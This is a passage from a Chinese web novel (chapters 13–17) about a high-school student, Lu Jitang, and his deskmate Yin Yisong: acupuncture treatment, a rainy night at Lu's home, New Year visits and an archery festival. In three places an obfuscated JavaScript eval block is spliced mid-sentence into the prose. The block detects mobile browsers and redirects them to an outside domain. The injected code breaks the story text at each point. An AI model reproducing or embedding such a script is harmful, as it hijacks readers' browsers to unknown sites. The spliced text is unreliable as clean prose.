路既棠答是。 殷倚松爷爷问站在他后面的殷倚松,“你之前也给他把过脉了,你认为是什么情况。” 殷倚松说了自己的判断,最后说道:“胃火旺,心火和肝火也旺。” 殷倚松爷爷微微点头,他对路既棠说:“孩子,平时要多注意饮食,很多东西都要忌口。” 他说完这句话后,又问了路既棠的出生时间,回到桌案前抽出一张纸张开始书写。路既棠扫了一眼,纸上的字似乎是天干地支。 殷倚松爷爷很快写完了,他看了好一会,才抬头对路既棠说,“土主脾胃,土受克严重,脾胃自然虚弱,这是你从出生时就带着的,之后的事情引动才让症状更加严重了,这治疗并非一日之功。” “我给你针灸几次看看效果。”殷倚松爷爷说道。 他引着路既棠进了内室,让路既棠将衣服和裤子都挽上去躺下,路既棠乖乖躺好,殷倚松爷爷正在给针消毒,他感叹道:“孩子,我行了几十年的医,你这样匀称干净的身体极为罕见。” 殷倚松看到路既棠的耳朵尖红了。 殷倚松爷爷一边下针一边和路既棠聊,“你姓路,你知道路令亭吗?” 14. 第 14 章 路既棠顿了一下,“是我爷爷,已经过世很多年了。” “这么巧。”殷倚松爷爷露出讶异又了然的神色,容貌相似的两个人,有血缘关系也不奇怪,他显然知道路既棠爷爷过世,叹息一声,“世事难料。”他很快止住了话题。 路既棠的腹部、腿部、手和脚都被扎了针。“孩子,觉得胀就跟我说。”殷倚松爷爷将最后一针下在路既棠左手无名指的第二个关节处。 殷倚松将暖灯分别调到路既棠的腰腹处和小腿处,“烫吗?” 路既棠轻轻摇了一下头。 “这要一个小时,”殷倚松给他整理了一下衣服,“你可以先睡一会。” 路既棠点点头。 路既棠觉得下针的地方渐渐热了起来,暖融融的,十几分钟后,他睡着了。 帘外,殷倚松爷爷说:“他天生脾胃虚弱,幼年时又受过重伤,现在五内郁结气血两亏,长时间下去会出大问题。他应该去医院看过很多次了,但只看一个地方不看整体,只看结果不看发展趋势,只见树木不见森林,是看不出来真正的问题的。” 殷倚松讶然抬头。 殷倚松爷爷看着纸上的字,他看了好一会,才像想起什么一样,微微笑道:“说起来,他的盘,和你的倒是很合。” 殷倚松眸光一动,“爷爷……” 殷倚松爷爷却不愿再深说这个话题。他说道:“这种事要和他家人说。”他的手指拂过桌上的人体经穴模型,目光落到膻中两字上,“让他家长一起来。” “他家里只有他和他奶奶,他奶奶去旅游了,可能要下一周才能回来。” “他父母呢?” 殷倚松敛眸,“他没有和我提起过他的父母。” 他们说着话,时间在不知不觉中流逝。 就在这时,帘内响起了手机摔在地上的声音。 殷倚松迅速掀开帘子走进去,原来是路既棠睡着时把枕边的手机推了出去,针灸床不宽。路既棠显然也没手机摔落声惊醒了。 殷倚松将手机捡起来,放在路既棠枕边,“还有十分钟,等一会我给你拔针。” 路既棠弯起眼睛对他笑,“好的,你现在是不是也会下针了?好厉害。” 笑得殷倚松想遮住他的眼睛。“我只在自己身上试过,为别人下针是要行医资格证的。” 时间一到,殷倚松给他拔了针,扶他坐起来。 殷倚松爷爷给路既棠开了一张药方,“让倚松带你去抓药吧,先喝五天。” 出来之后,在殷倚松带着路既棠去之前常去的药房抓药之后,路既棠对殷倚松说:“我知道一家很好吃的炖汤,我请你吃饭。” “这是最后一个不需要额外上课的寒假,一定要好好珍惜。”路既棠看着殷倚松,郑重地说道。 殷倚松被路既棠认真的神色逗得弯了眼睛。 他们吃完饭时已经是下午,殷倚松提醒说:“有一味药的煎法有点特殊。”他把方法一点点讲给路既棠听。 路既棠听到最后,发现自己并不能完全听懂,于是说道:“要不然这样吧,你去我家,我们把药熬一下看看。” 殷倚松一怔,然后,他点头应了一声好。 路既棠于是带殷倚松回了家。 路既棠在和路奶奶打了一个语音通话之后,从厨房最底下的一个柜橱,找出了一个用来专门用来熬中药的瓦锅。 殷倚松挽起袖子,站在厨房里,一点一点地收拾药材,路既棠就倚着门看。 殷倚松在收拾药材时,神情很专注,直到将药材放进锅里,放在火上熬时,他才对路既棠说道:“这些药材都不苦,别担心。” 路既棠想起了很多年前,他爸爸给他妈妈熬汤时的样子。英俊温和的男人拿着蒲扇,一点点地扇锅里袅袅冒出来的烟,他妈妈就抱着他坐在厨房外的小阳台看晚霞与落日。 路既棠眨了眨眼睛,眼前殷倚松和他爸爸重叠的身影就分开了。 路既棠强压下那股冷倦的感觉,对殷倚松说:“好的,我一定好好喝。”语气与寻常无异。 殷倚松看着路既棠喝下药,就打算告辞。路既棠要送他出门时,天下起了倾盆大雨。 天气预报说今天白天是晴天,傍晚转阴,无雨。 路既棠看着正要手机叫车的殷倚松,想起了方才自己在厨房的臆想,又想起空荡荡的房子,心里的烦躁更甚,鬼使神差地,路既棠说道:“雨太大了,要不今天你在我家住一晚吧。” 殷倚松回头看他,身体似乎僵了一瞬。 “家里还有几个房间。”路既棠将第一句话说出口后,后面的话就顺利了许多,“我给你收拾。” 话虽然是这样说,但等到真正收拾时,路既棠却累了,客卧的地毯、床单和被子都需要清洗之后才能用。 最后路既棠摆烂了,“你睡我房间吧,我的床够两个人睡。” 殷倚松已经是第二次进路既棠的房间了。 上次路既棠喝醉,殷倚松送他回来时,进过一次,但没有细看。 这次则不同。 路既棠的房间干净整洁,书架上的书放得方方正正,房间铺满了手工羊绒地毯,落地飘窗前放了张矮桌和一个坐垫,整个房间的色调的米白色的,很明亮。 床很大,可以任四个成年人舒展,床单被套都是米白色的,和路既棠在学校里用的颜色一样。 路既棠拉开窗帘,窗外雨打桂树。尽管是冬天,树木依然绿意盎然。 路既棠拉开一把书架下的椅子,“你先坐一会。我去给你找枕头,刚好我前天洗了一个。”路既棠把空调遥控器塞到他手里,示意殷倚松开空调。 路既棠拿着枕头回来时,顺便把洗漱用品和烘干的新睡衣也放进了房间的卫生间,“你先洗澡吧,我去煮个面,奶奶去旅游前,叫家政阿姨做了一点可以下饭的菜留给我,我们今晚可以吃那个。” 殷倚松看着路既棠的目光顿时有些难言,“你是打算在你奶奶回来之前一直吃面吗?” “不啊,”路既棠说道,“可以点外卖,或者叫家政阿姨上门做饭,实在不行可以到小区外面买吃的,反正也很近,不会饿着的。今晚雨太大,出去或者点外卖就算了。” 殷倚松叹了口气。好一会,他说:“我来弄吧,你待着就好。” 两个人一前一后洗完澡,殷倚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396638|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松将煮好的面盛了两碗,端到餐桌上,路既棠吃了几口,有些郁闷地说道:“为什么我煮的面和你煮的味道差那么多,以后让我还怎么吃得下自己煮的。” 殷倚松敛眸一笑。 等到他们回到房间,已经是晚上十点。 “时间还早,你想看电影吗,最近有一部新出的动画片。”路既棠说道。 殷倚松同意了。 路既棠窝在被窝里睡着时,影片刚放到一半,殷倚松打开暖黄光的夜灯,关了投影仪,取下路既棠的眼镜,放在路既棠手边的短桌上,和路既棠的手机放在一起。 房间里开着空调,很暖和,殷倚松将路既棠睡衣的长袖拉下来盖住白净修长的手臂,把路既棠搭在被子外的手臂拢好放进被子里,将被子拉到路既棠的下巴处,仔细地掖紧。 路既棠翻了个身,无意识地用脸蹭了蹭枕头。 殷倚松刚掖好的被子又被推开了。 殷倚松失笑。 路既棠在梦中,模模糊糊地感觉到,有手指很轻柔克制地抚过了他的脸。 再后来,他的额头被什么东西轻轻地碰了一下。 像柔风穿过柳梢。 路既棠陷入了黑甜的梦境。 而有人听了窗外半夜的雨。 第二天,路既棠是被一阵语音铃声吵醒的。 他伸出手,摸过手机,接起语音。 “路既棠!”手机另一头的人喊他,语调欢快,声音爽朗。 路既棠“嗯”了一声,声音有些沉闷,“怎么了?” “你还在床上?”男生听他的声音,疑惑地说道:“不应该啊,这都十点了,平时你早就起了。” 路既棠攥着手机翻了个身……就撞进了殷倚松怀里,额头磕到殷倚松的锁骨上,两个人同时闷哼了一声。 路既棠这才想起来,昨晚殷倚松就睡在他的床上。 手机那头立即传来了男生惊异的声音,“路既棠,你不是还在床上吗,你身边怎么会有人?” 路既棠抬头对上了殷倚松意味不明的目光,抱歉地笑了一下。 路既棠转身下床,踩着棉拖出了房间。 殷倚松听到路既棠在房门外低声说了两句,语气熟稔。他听到路既棠叫那个男生的名字。 白鹤生。 路既棠的声音渐远,听不清了。 路既棠走到阳台上,“是我同桌,昨晚教我熬中药,下大雨回不去了,我留他在家里住一晚。” “你找我要说什么?”路既棠说道:“不重要的事先发信息,他在我家里,让人久等不好。” 白鹤生“嘶”了一声,“一直听你说你同桌,他就这么好吗?” 路既棠“嗯”了一声,语调浅淡。 “我和他们说开了,”白鹤生调笑了一句,回到正题上,声音有些漫不经心,“也许下个学期我就能回南林市了,”他笑了一声,“最迟今年暑假。” “恭喜。”路既棠轻声说道:“你这回付出的代价一定很大。” “把他们一个项目搞没了,”白鹤生声音欢乐,说出的话却不是那一回事,“然后被打了一顿,骨折了,今天刚出院。” 15. 第 15 章 “真想念在南林市的日子。那时候,你下决策,我执行,秋染给我们兜底,不像现在,我一个人,总是不如三个人时热闹。”白鹤生笑起来,“元旦的时候,秋染跟我说,她梦到我们三个带着自己的对象去江南。” 他柔声说:“秋染是我们三个人中最幸福的人了。” “会好起来的。”路既棠说:“我等你回南林市。” 路既棠挂了语音回到房间,殷倚松已经收拾好了。 “小区对面有家肠粉店,味道很好,豆瓣酱好吃,粥也很鲜,”路既棠收拾妥当,“我带你去吃。” “刚刚我在二楼的阳台看过了,”路既棠说道,“雨已经停了,之前我经常去那家店,那家店开了二十多年,算是老店了,生意一直都很好。” 那家店叫“一碗肠粉”,藏在小区对面深处,路既棠熟练地带着殷倚松绕过几个弯,找到了它。 它的店面很小,很像一些小城里悠然走过几十年时光的老店,午后的阳光照下来,似乎连带着它门前的那株腊梅都要随时光淡去。 两人走入店里。路既棠指了一下墙上的菜单,“可以尝试一下招牌的,这个很好吃。” 现在将近中午,店里的食客很多。他们来得巧,前面的食客吃完了,刚好空出一张小桌子。路既棠说道:“你坐着,我去排队。” 很快,路既棠端着一个食盘回来了,盘里放着两份一模一样的肠粉和清粥,还有一份豆瓣酱,“这里的粥很鲜的,可以就着豆瓣酱吃。” 路既棠吃得很香,看得出来,他真的很喜欢这家店的肠粉。 经受一夜冬雨敲打的腊梅,在日头下,看着并不萎靡,而是鲜亮极了。殷倚松的目光辗转过腊梅,店内的食客,最后落到了路既棠身上。 他见过烟火气,却是第一次在一个人身上,看到了人间。 假期总是过得很快。路奶奶在除夕的前两天回到了南林市。 路既棠在路奶奶回到南林市之前,已经叫家政阿姨把家里里里外外大扫除了一遍。 路奶奶这一次给路既棠带回了一块羊脂白的和田玉,玉被雕成了一朵甘棠的样子,温温润润的。 “甘棠”在古文中,是一种较为常见的意象。 路既棠的名字是他妈妈路眠月起的,取自《千字文》中“学优登仕,摄职从政,存以甘棠,去而益咏”一句,希望路既棠在将来学业有成,登科致仕之时,能像召公一样,公正廉明,为万民所谋。 他的名字被长辈寄予了最深切的爱意和祝福。 路既棠接过奶奶手中的玉。 路奶奶摸了一下他的头,“这个对当作是压岁钱,小棠很快又长一岁了,你爸爸妈妈和爷爷看到,也会很开心的。” 路既棠点点头,“爷爷和爸爸妈妈会希望奶奶新的一年也健康平安的。” 除夕夜,路奶奶照例做了一桌子菜,吃完年夜饭后,路既棠坐在沙发上给奶奶剥葡萄皮,路奶奶则戴着眼镜看电视上播放的春晚。 路奶奶说道:“今年初一该秋染外婆来咱们家了。” 路奶奶和秋染外婆是手帕交,他和杨秋染的缘分要追溯到路奶奶和秋染外婆的父母。路奶奶名为路霜白,杨秋染外婆叫杨梦舒,两家祖上一直往来密切,后来,她们二人一起成为高校教师,领域相近,有说不完的话题,几十年的情谊深厚。 大年初一,她们二人会轮流到对方家里拜年。去年是路奶奶带着路既棠上门拜年,今年轮到杨秋染外婆来了。 “说来也是,我也已经好久没见到鹤生那孩子了,”路奶奶叹息道,“他跟着他爸妈去平城好久了,也不知道还回不回来。” “白鹤生前几天和我说,他最迟暑假就能回来了,到时候他一定会来见您的。”路既棠说道。 “在大院时,你们三个的关系最好,你们三个将来能互相扶持一起前行就好了,奶奶不能看着你一辈子,”路奶奶目光慈和,“我希望我的小棠以后能好好的,不会孤单。” 大年初一,路既棠睁开了眼,天刚蒙蒙亮。 他洗漱好了之后出了房间,路奶奶正在厨房煮糖水——在南林市部分地区的习俗里,人们通常把这种糖水叫做“聪明茶”,大年初一早上,让还在上学的孩子喝下,祈愿新的一年,孩子聪明伶俐,学习步步高升。 糖水的颜色是金灿灿的,闻起来有一种浓郁的区别于寻常甜食的香,如果非要形容,那大概是一种像果茶的味道。 路奶奶笑着看他喝完,又给了一个红包,“小棠,新年快乐。” “谢谢奶奶,奶奶新年快乐!”路既棠说了一长串的祝词。 路奶奶一直微笑着听着他说,最后说:“小棠又学到了很多成语,真棒。” 几个小时后,杨外婆带着杨秋染父母和杨秋柔来拜年了。 即使老去,也能看出杨外婆眉眼的英气,她年轻时,文章写得鞭辟入里,入木三分,遇到不公时也敢于秉笔直书,是一个性格坚毅、让人敬佩的女性。杨秋染的母亲杨见晞延续了杨外婆的性格与样貌,性格爽快,长相舒朗,在商场上手段雷厉风行,杨秋染的父亲何景研则沉稳安静,不显山不露水。 小辈们分别一一向长辈们问新年好。 杨秋染跟在长辈身后,做了一个给路既棠打招呼的手势,路既棠一笑,也回了一个手势。 之后,就是长辈们和长辈们聊,小辈们自己去玩。 路既棠带杨秋染去二楼客厅,客厅里放着杨秋染之前留在这里的公仔和玩偶,杨秋染一个一个抱过去,这个吸一吸,那个也吸一吸,最后露出了满足的微笑,“果然不能常常看到的,才是最好的。” 捧着一堆杨秋染喜欢的零食过来的路既棠闻言失笑,“说起不能常常看到的,我们给白鹤生打个视频吧。” 杨秋染几乎是立刻就同意了。 路既棠拨了一个视频通话,那边,白鹤生很快就接起了视频。“新年快乐,白鹤生!”杨秋染脆生生地说道。 白鹤生看到杨秋染,先是一怔,然后笑道:“是了,大年初一要互相拜年,新年快乐秋染,”他看了一眼杨秋柔旁边的路既棠,挑眉道:“新年快乐,路既棠。” 白鹤生,骨相出众,上半张脸自信桀骜,下半张脸温柔天真。看着马上就要开始和人辩论,唇角还挂着要和人辩论前的三分讥笑,贱兮兮的。 “新年快乐。”路既棠回道。 杨秋染疑惑地问道:“你现在是在外面吗?”她看着白鹤生眉梢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396639|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂着的雪。 “啊,是啊。”白鹤生一笑,“今天平城下雪了,我跑出来玩。” 他对上了路既棠的目光,路既棠的目光里带着一点隐晦的担忧。 杨秋染却没起疑,这两个年纪比她稍长的哥哥,不想让她知道这些事情,也不想让她担心。 杨秋染和白鹤生聊了几句,白鹤生说道:“你快去吃零食吧,在家里不能吃,今天好不容易能吃。”杨秋染只当他们两个男生之间有什么事情要单独说。 白鹤生和路既棠对视一眼,路既棠转身回了房间,“你怎么了?”路既棠问道。 “昨晚又吵了一架,”白鹤生笑道,“我被赶出来了。” “你现在在什么地方?” “不知道,在外面随便走走。”白鹤生说道。 “平城不比南林市,你这种天气在外面待久了,会出事的。”路既棠说话间,给白鹤生转钱,“你找个地方去洗个澡换衣服吧,你带身份证了吗,带了就直接买票回南林市,我家有地方给你住。” 白鹤生不笑了,他看着路既棠,轻声说道:“你说,你为什么不能是我亲弟弟呢?”他仰头看天,“路既棠,”声音很轻很轻,“我想我爷爷了。” 只有短短的一瞬,白鹤生再度笑了起来,“没事,我手机里还有钱,谢了,我自己再逛一逛,南林市,回去了我就不想再走了,所以现在还是等一等吧,等下学期,我就能走了,先挂了。” 路既棠还要再说什么,白鹤生已经利落地挂断了视频通话。 路既棠给白鹤生发了几条信息,让他注意安全,信息刚发送出去,他就收到了殷倚松的信息,他们的上一条信息还是零点时“新年快乐”。 殷倚松问他要不要正月初三一起去看南月门的射箭比赛。 路既棠还在给白鹤生发信息,没有立刻回。 等他回过神来时,殷倚松又发来一条信息,“吴睿凌他们也去。” 南月门是南林市内最高、最富盛名的一座山——翠凉山内的一处景点,位于市区,紧邻着长而阔的状元桥,正月初三晚,人们会在南月门举办射箭比赛,取得头筹者奖金丰厚,这个活动办了很多年,在南林市负有盛名。而路既棠只是听说过,一直没有去看过。 于是路既棠问:“晚上什么时候?” “晚上七点到十点。”殷倚松回,“可以提前回来。” 路既棠:“好,我去。” 路既棠回到客厅,杨秋染已经把一袋零食吃完了,“你们这么快就说完了?” “是啊。”路既棠给她递了一条手帕,“之后的几天你要去哪?” 杨秋染接过手帕擦了擦手,“初二晚上和爷爷奶奶吃个饭,初三我就可以自己玩了,和人约了滑冰,初四游湖,初五去玩射·击,初六骑马……”她把自己的安排一个一个数过去,“十三开始写作业,两天应该够了。”她安然道,“这就是我美妙的假期。” 路既棠忍俊不禁。 “嗐,”杨秋染说道,“我对我的成绩很满意了,我爸妈也不要求,要做一个乐观派,你文科第一的成绩除了偶尔刺激我一下,其他也没什么,人嘛,就是要知足常乐。”她眼波流转,“你呢,你今年有什么安排?” 16. 第 16 章 路既棠把要和殷倚松去南月门看射箭比赛的事情和杨秋染说了,她表情有些怪异,但没说什么。 下午,六个人一起吃了一顿饭,吃饭时,路奶奶和杨外婆还约了第二天去见一个南林市有名的书法家。 晚上,路既棠站在阳台看烟花时,白鹤生终于给他回了信息。 “有地方去,我高中同班同学收留我了,你都不知道,他看到我的时候,一直没表情的脸看起来都快裂了。我平时跟他不对付,他愿意收留我,可见他良好的家教和品格压过了他看我的不顺眼。” “路既棠,我不会有事,放心。” 路既棠回道:“你心里有数就好,有事跟我说。” 正月初三的下午,路既棠在翠凉山脚下等殷倚松一行人。 上午他代路奶奶给长辈们的友人拜年,一上午和一下午过去,拜访了几家后,最后他被他妈妈的朋友叶阿姨送出来时,已经是下午五点。于是路既棠让司机送他直接前往翠凉山。 路既棠在翠凉山下找了一张石凳,开始专心致志地看手机,等他抬头时,吴睿凌刚好扑到他面前。 “好啊路哥,”吴睿凌被路既棠扶住,口中叽叽喳喳地说:“看的什么……文言文啊,好啊!你居然背着兄弟们悄悄内卷!” 路既棠掐灭手机,站起来,松开吴睿凌,笑说:“你说是就是吧。” 吴睿凌无言以对,叽里咕噜地绕着路既棠走了几圈。 后面的几个人跟了上来。 殷倚松和路既棠打了个招呼。 还有李未序和肖意。 殷倚松看着路既棠,漆黑的眼里蓄着一点笑意,“新年快乐。” 几个人汇合,开始上山。 吴睿凌像个精力旺盛的小狮子,经常跑出去几十米又蹦蹦跳跳地跑回来,“听说今晚的的箭是真箭,可不是以前那些没箭头的箭!射中什么箭靶就能直接把对应的东西领回家,奖品很丰厚,因为这个我才来的!往年都没有!今年射箭比赛第一名不但有奖金,还可以得一张翠凉山旅游终身免费卡,还能带一个人!今年可真热闹!还有好多好看姐姐!” 李未序嘻嘻哈哈地搭吴睿凌的肩膀,“知道你很开心了,但你能别跑那么快吗?他们三个还在后面,现在人多,等会就冲散了。” “我跟得上,别跑太远就好。”跟上来的肖意接话。 而路既棠和殷倚松落后几步,走在一起。山路上,两侧草木葳蕤,他们两人一步一步踏过台阶。 李未序搭着吴睿凌的肩膀,微微眯了一下眼睛,轻声感叹道:“说实话,他们俩之间有点不同寻常。” “确实。”肖意侧头看了一眼,说道。 只有吴睿凌还在懵懵懂懂地问道:“你们在说什么我听不懂的东西。” 李未序一笑,“这很配你眼里那清澈的愚蠢。” 吴睿凌:咬牙。然后他嘎嘎挠了李未序两下。 他们一路登山,到了半山腰,这里就是他们的目的地了。 他们散开,约好半个小时后南月门见。 南林市的冬天没有雪,草木在冬季也还是绿的。 除去清幽林间的鸟雀声和已经隔得有些远的人声,路既棠听到了有风拂过林间树的声音,那是有上百年历史的松涛与竹海。清泉在两人脚边的一处石缝中滚出来,声响淙淙。 路既棠仰头看着在山林间游走的雾,目光专注,暖黄的花灯照着他的侧脸。这个人干净又美好。 他静静地听了一会松涛声,忽然想起什么来似的,问殷倚松,“你的名字里是不是在翠凉山上起的。” 半顷松涛竹海,欣欣草木向荣。这就是翠凉山的风景。 殷倚松应道:“对,我爷爷在我满月的时候抱着我上过一趟翠凉山,我的名字是在听松轩上取的……”他示意路既棠抬头看,松林间露出黛灰色的挂着灯笼飞檐一角,“就是那里。” “是《论语·子罕》里的‘岁寒,然后知松柏之后凋也’。” 世间万物有开有谢,唯有松柏长青。 他们就站在半山腰的一处古木栏杆旁,下方松林如海,有松风带着清幽而寂静的味道自下方而来,拂过路既棠的耳畔。他轻声说:“这是一个很好的名字。” 殷倚松正要说话,可一大群人从山下上来了。 顷刻间,他们就被人流冲散。 路既棠的手机被人流撞得摔到了石阶上,他刚俯身捡起来,就被人流裹挟着走向南月门。 等到终于能够站定时,他才发现自己的手机已经被摔出了裂痕,开不了机。 正好他已经到了南月门,他想着,就在这附近等其他人。 南月门紧连着状元桥。状元桥仅仅凭一个名字,就成为了南林市家长心中在孩子升学时必来的景点。 状元桥两侧的红绳上挂着密密麻麻的许愿牌,又有暖灯的烘托,成为了翠凉山夜色中最亮的一处存在。 路既棠知道这久负盛名的状元桥,却一直因为种种原因,而没有实际来过。 此刻,他从南月门走入了璀璨的状元桥。 状元桥的许愿牌中也不乏求姻缘子嗣的,但最多的是求前程。这许许多多的许愿牌承载着愿主对未来的期待。 路既棠在一张许愿牌中,看到了一个熟悉的名字。 “祝贺惊筠考上他想去的大学。” 落款时间是五年前的六月。 贺惊筠,是路既棠元旦时玩剧本杀带他们的主持人青竹的真名。那位趁着还没被导师压榨跑出来兼职的法学研究生。 当时路既棠觉得贺惊筠的名字很熟悉,于是去查。 那是一个很传奇的人,是路既棠的同校学长,多年前南中的风云人物,他是物理竞赛生,却在保送之后一意孤行地放弃了保送两校的资格,选择参加高考,用三个月的时间把三年来落下的其他门课补回来,最后在众人不理解的目光中,考入政法大学,成为了一名法学生。 路既棠觉得这个人和白鹤生很像。 桀骜不驯,一身反骨。 他们似乎都宁愿做一个不被常人理解的反叛者。 “咦,”一道含着笑意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396640|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男声传来,带着一点疑惑的味道,“路既棠?” 真巧。 路既棠转身,去看对方。 眼前这个风衣西裤、眉目含笑的人,正是贺惊筠。 “你也来看射箭比赛?”贺惊筠说道,他眼中露出了然的神色,“也是。” 你在这里,他才会在这里。这句话,贺惊筠没有说出口。 路既棠和他交谈了几句。 在路既棠走近一步时,贺惊筠看到了路既棠斜侧的许愿牌,就在看到许愿牌的那一瞬间,这个带笑的男生眉目一怔,然后几乎像是冰消雪融一般沉寂下去。他眼神中闪过一点哀戚。 但只是一瞬间,他恢复了原来的模样。 路既棠看着他,心想,这个人的性格和白鹤生可真是像。 夜里山间风起,两个面对面站着的男生衣袂当风,头发被吹起。 另一人走入其间,他喊贺惊筠的名字。 路既棠抬眼去看。 来人很高大,路既棠已经很高,这人却比他要高大半个头,这人短发被修得很利落,眼神很亮,气质深沉而坚硬,犹如磐石。 他显然看到了贺惊筠在看什么,停住脚步,站在离贺惊筠的三步远处,说道:“那边射箭比赛快开始了。” 贺惊筠抬眼,笑道:“别催了,知道了。”他拉住路既棠,“来,我来介绍一下。” “这是路既棠,南中的,我们的小师弟。” “这是戚九羿,我们都是南中的,比你大几届,我的高中同学,现在我们在同一所大学。” 来人冲路既棠点了点头,就沉默不语。 贺惊筠和路既棠简单交谈了几句就道别,在走之前,贺惊筠说道:“小师弟,我看你真的很有眼缘,我不常回南林市,希望我们以后还有机会再见。”他拍了一拍路既棠的肩膀,“记得好好学习天天向上。” 最后他说:“对了,我过来的时候,看到上次和你打剧本杀那个男生了,他在找人,我猜他一直在找的人是你。” 他指了一个方向。“在那边,你快过去吧。”他笑得很柔和,“小师弟,再见。” 路既棠于是循着贺惊筠指的方向找过去,在出了状元桥时,撞上了正往这边来的殷倚松。 殷倚松眉眼里染着焦急。 “你有没有事?”殷倚松看他,“我给你打电话打不通,信息也没回。” “我手机摔坏了,不好意思,让你找了这么久。” 殷倚松长舒了一口气,“你没事就好,我们去和吴睿凌他们汇合吧。” 他们一同走过流光溢彩的状元桥,周遭的人流似乎成了背景,路既棠看着殷倚松,原来真的有人会找到他。而不是像小时候一样,他藏起来,他等的人却再也不会来找他了。 这个晚上,他和殷倚松被人流冲散,他独自一人被人流裹挟到了一处,遇到了贺惊筠和戚九羿,贺惊筠告诉他,殷倚松在找他,于是他走出去,重新找到了殷倚松。 那时的路既棠还不知道,那一晚的经历,正是他未来人生走向的缩影。 17. 第 17 章 那天晚上,路既棠只看了小半场射箭比赛就下了山。 在熙熙攘攘的人群中,在如星如雨的花灯下,殷倚松始终分神注意着他。 过了春节,路既棠回到学校,去邓宁煜的办公室报到。在填完注册表之后,邓宁煜对他说:“一个春节过去了,其他人多多少少都胖了一点,怎么你看起来更清减了?” 他一边说一边把成绩条递给路既棠,“你的成绩不用我担心,但你也该把数学再提一提了,这么多年,在文科第一里,我几乎没有见过语文成绩比数学成绩差一截的,我听语文老师说,你只有作文被扣了几分,语文是够好的,但也要兼顾数学,你的数学比班上数学第一的同学少了十五分,再加把劲。” “好。”路既棠微微一笑,“我下次会努力让数学成绩和语文成绩差得不那么远的。” 说完成绩的事情,邓宁煜又和路既棠闲聊了几句,话题逐渐引到早恋上,邓宁煜的语气与寻常别无二致,路既棠却在邓宁煜的古井无波中,听出了一点敲打的意味,“年级里有一对早恋的,一个受处分一个退学,可惜了这么好的学生,早恋害人害己,上了大学想怎么谈都行,但高中一定不能谈恋爱。” 路既棠点头应下,“好的老师,我知道了。” 这时刚好有其他同学进来注册,路既棠和邓宁煜打了招呼之后就走了。 这个学期开学,班级中的同学有所调整,根据上个学期期末的成绩排名,三班只收文科的前四十八名,班上的同学成绩在前四十八名之内的,留在三班,在前四十八名之外的,需要到其他的文科班级中去,让其他班级中成绩好的同学进来。 这一个学期,从其他班级来了两个同学,这也意味着有两个同学退出了三班。新进来的两个同学一男一女,女生叫祝汝,男生叫安于年。 邓宁煜也重新安排了一次座位。 路既棠之前的同桌一直都是殷倚松,而从这个学期开始,殷倚松被调去和新进来的男同学安于年做同桌,路既棠这个学期的同学则变成了肖意。 或许邓宁煜在多年的教学中,眼神也变得越发毒辣老道,那两个男生的事终归是给邓宁煜留下前车之鉴。 位置调过之后,路既棠和殷倚松的座位隔得很远,再加上这学期语文的授课方式调整,作为语文课代表,路既棠中午下课之后,常常要到语文组的办公室交作业和拿试卷,于是午饭时间和殷倚松的错开了。 他们中午时逐渐不再一起去食堂。 而殷倚松的新同桌安于年因为数学太差,经常在课余时间也要跟上殷倚松向他询问。渐渐的,殷倚松中午去食堂时,身边的人从路既棠变成了安于年。等到一次月考结束时,路既棠收拾东西,准备喊殷倚松一起去食堂时,才发现殷倚松已经走出了教室,身边跟着安于年。 路既棠垂眸,表情淡淡地接着收拾剩下的草稿纸。 “路既棠!”杨秋染叫他的名字,她跑过来,杏眼弯弯,“今天晚上英语自修,英语老师要给我们放电影,但老师说一节英语自修放不完,你能不能跟语文老师说说,今晚的小测提前半个小时。”她一脸期待地看着他。” 语文小测在语文自修的后半个小时。 路既棠想了一下,“我试一下。” “感谢!”杨秋染双手合十。她说完这句话之后,语气忽然变得有些轻,“你是不是不太开心,你怎么了?” “你一不开心就会不想说话。” 路既棠“嗯”了一声,承认了。 杨秋染似乎想到了什么,目光有些犹疑。 最后杨秋染说:“走,我陪你去办公室找语文老师,然后请你吃饭,没有什么烦恼是吃饭不能解决的,我带你去教职工食堂蹭吃的!” 吃完饭之后,路既棠回到寝室。他这天中午回去得比较晚,还有十分钟午休铃响,他在阳台洗漱时,安于年刚好洗完澡出来。 安于年来到三班之后,寝室也跟着换到了三班的寝室。 他性格有些腼腆,很瘦弱,不怎么主动说话,只有在别人问到他时,他才会认真地回答几句。 路既棠今天中午不想说话,于是只是无声地挪了一个位置给安于年,让他洗漱。 阳台上这时只有他们两个人。 两个人沉默地洗漱。 路既棠整理床铺时,殷倚松回来了,他拿着已经写完的数学试卷回来,把它递给了安于年,最后,殷倚松站在路既棠的床边,问道:“你今天中午晚回来了这么久,去哪里了?” 路既棠将目光从安于年手上拿着的数学试卷收回来,含糊地回答了殷倚松几句,“午休铃响了,我先睡了。” 